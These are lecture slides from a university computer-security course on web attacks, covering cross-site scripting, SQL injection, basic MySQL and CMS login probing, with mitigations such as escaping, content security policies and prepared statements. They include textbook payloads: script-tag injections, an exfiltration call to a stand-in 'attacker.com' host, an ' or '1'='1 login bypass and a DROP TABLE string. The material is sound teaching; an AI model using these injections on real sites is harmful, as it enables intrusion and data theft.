17. Web Security and Attacks (Part 2)

Blase Ur and David Cash
February 18th, 2022
CMSC 23200 / 33250
XSS
Cross-Site Scripting (XSS)

• Goal: Run JavaScript on someone else’s domain to access that domain’s DOM
  – If the JavaScript is inserted into a page on victim.com or is an external script loaded by a page on victim.com, it follows victim.com’s same origin policy

• Main idea: Inject code through either URL parameters or user-created parts of a page
Cross-Site Scripting (XSS)

• Variants:
  – *Reflected XSS*: The JavaScript is there only temporarily (e.g., search query that shows up on the page or text that is echoed)
  – *Stored XSS*: The JavaScript stays there for all other users (e.g., comment section)

• Prerequisites:
  – HTML isn’t (completely) stripped
  – *victim.com* echoes text on the page
  – *victim.com* allows comments, profiles, etc.
XSS: How?

- Type `<script>EVIL CODE ();</script>` into form field that is repeated on the page
- Do the same, but as a URL parameter
- Add a comment (or profile page, etc.) that contains the malicious script
- Malicious script accesses sensitive parts of the DOM (financial info, cookies, etc.)
  - Change some values
  - Exfiltrate info (load `attacker.com/?q=SECRET`)
XSS: Why Does This Work?

• All scripts on *victim.com* (or loaded from an external source by *victim.com*) are run with *victim.com* as the origin
  – By the Same Origin Policy, can access DOM
XSS: Key Mitigations

• Sanitize / escape user input
  – Harder than you think!
  – Different encodings
  – `<img onmouseover="EVIL CODE();" />`
  – Use libraries to do this!

• Define Content Security Policies (CSP)
  – Specify where content (scripts, images, media files, etc.) can be loaded from
  – `Content-Security-Policy: default-src 'self' *.trusted.com`
SQL Injection
Very Basic MySQL

- Goal: Manage a database on the server
- Create a database:
  - `CREATE DATABASE cs232;`
- Delete a database:
  - `DROP DATABASE cs232;`
- Use a database (subsequent commands apply to this database):
  - `USE cs232;`
Very Basic MySQL

• Create a table:
  
  ```
  CREATE TABLE potluck (id INT NOT NULL PRIMARY KEY AUTO_INCREMENT, name VARCHAR(20), food VARCHAR(30), confirmed CHAR(1), signup_date DATE);
  ```

• See your tables:
  
  ```
  SHOW TABLES;
  ```

• See detail about your table:
  
  ```
  DESCRIBE cs232;
  ```
Very Basic MySQL

• Create a table:
  
  – INSERT INTO potluck (id, name, food, confirmed, signup_date)
    VALUES (NULL, 'David Cash', 'Vegan Pizza', 'Y', '2022-02-18');

• See detail about your table:
  
  – UPDATE potluck SET food = 'None'
    WHERE potluck.name = 'David Cash';

• Get your data:
  
  – SELECT * FROM potluck;
SQL Injection

• Goal: Change or exfiltrate info from victim.com’s database

• Main idea: Inject code through the parts of a query that you define
SQL Injection

Hi, this is your son's school. We're having some computer trouble.

Oh, dear — did he break something?

In a way—

Did you really name your son 'Robert') DROP TABLE Students;-- ?

Oh, yes. Little Bobby Tables, we call him.

Well, we've lost this year's student records. I hope you're happy.

And I hope you've learned to sanitize your database inputs.
SQL Injection

• Prerequisites:
  – Victim site uses a database
  – Some user-provided input is used as part of a database query
  – DB-specific characters aren’t (completely) stripped
SQL Injection: How?

• Enter DB logic as part of query you impact

• Back-end query
  – SELECT * FROM USERS WHERE USER='' AND PASS='';

• For username & password, attacker gives:
  – ' or '1'='1

• Straightforward insertion:
  – SELECT * FROM USERS WHERE USER='' or '1'='1' AND PASS='' or '1'='1';
SQL Injection: Why Does This Work?

- Database does what you ask in queries!
SQL Injection: Key Mitigations

• Sanitize / escape user input
  – Harder than you think!
  – Different encodings
  – Use libraries to do this!

• Prepared statements from libraries handle escaping for you!

• Use PHP’s mysqli (in place of mysql) with prepared statements
  – https://www.w3schools.com/php/php_mysql_prepared_statements.asp
Sending Data to a Server

• GET request
  – Data at end of URL (following “?”)

• POST request
  – Typically used with forms
  – Data *not* in URL, but rather (in slightly encoded form) in the HTTP request body

• PUT request
  – Store an entity at a location
Additional Web Topics
URL Parameters / Query String

• End of URL (GET request)
  – https://www.cs.uchicago.edu/?test=foo&test2=bar
Processing Data on the Server

- JavaScript is **client-side**
- **Server-side** you find Perl (CGI), PHP, Python (Django)
- Process data on the server
- What happens if this code crashes?
Storing Data on the Server

• Run a database on the server
• MySQL, SQLite, MongoDB, Redis, etc.
• You probably don’t want to allow access from anything other than localhost
• You definitely don’t want human-memorable passwords for these
CMS (Content Management System)

- WordPress (PHP + MySQL), Drupal
CMS Defaults / Vulnerabilities

• WordPress attempted logins:

```
root@super:/var/log/apache2# cat error* | grep "wp:"
[Fri Feb 18 09:05:49.042574 2022] [php7:error] [pid 3789616] [client 103.109.96.11:60066] script '/var/www/html/eusec20/wp-login.php' not found or unable to stat
[Thu Feb 17 08:23:31.695082 2022] [php7:error] [pid 3630350] [client 102.165.48.97:40892] script '/var/www/html/wp-login.php' not found or unable to stat
[Thu Feb 17 08:23:31.951171 2022] [php7:error] [pid 3631784] [client 102.165.48.97:40894] script '/var/www/html/eusec20/wp-login.php' not found or unable to stat
[Thu Feb 17 08:23:31.978838 2022] [php7:error] [pid 3632298] [client 102.165.48.97:40896] script '/var/www/html/eusec/wp-login.php' not found or unable to stat
```
Browser Extensions

• Can access most of what the browser can
• Requires permissions system
• Malicious extensions!